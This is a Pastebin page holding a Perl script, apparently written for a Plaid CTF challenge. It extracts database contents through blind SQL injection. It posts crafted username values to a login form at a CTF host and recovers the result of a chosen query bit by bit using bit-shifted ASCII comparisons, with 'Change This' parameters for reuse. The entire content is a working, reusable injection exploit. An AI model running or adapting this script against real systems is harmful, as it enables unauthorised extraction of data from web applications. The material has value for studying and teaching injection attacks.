Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Plaid CTF Blind SQL use Bit Shifting
- # Author : Xenithz
- # Twitter: @Xenithz
- use LWP::UserAgent;
- my $browser = LWP::UserAgent->new();
- $numpos = 1;
- $result ='';
- $sqlcmd = "version()"; #Change This
- $prefix = "admin\""; #Change This
- $postfix = "#"; #Change This
- while(1){
- ############### Start Value
- $bitpos = 7; # Bit position Start @ position 7 -> [0]000000 = 0
- $checkval= 0; # Check Bit Value <-----------------------------|
- $bitval = ''; # Reset Bit Value
- ###############
- while($bitpos >= 0){
- $bsql = $prefix." and (ascii((substr(($sqlcmd),$numpos,1))) >> $bitpos)=$checkval".$postfix;
- $response = $browser->post('http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/index',[username=>$bsql,password=>'256418',submit=>'submit']);
- if($response->content =~ /Welcome/gi){ #bit 0 is true
- $bitval .= '0';
- }else{ #bit 1 is true
- $bitval .= '1';
- }
- $checkval = oct('0b'.$bitval.'0');
- $bitpos--;
- }
- $result .= pack('B*',$bitval);
- $numpos++;
- $chr = pack('B*',$bitval);
- print "\n[Debug][Result]:$result";
- if($bitval == '0000000'){print $result;exit();} # Print & Exit
- }
Advertisement
Add Comment
Please, Sign In to add comment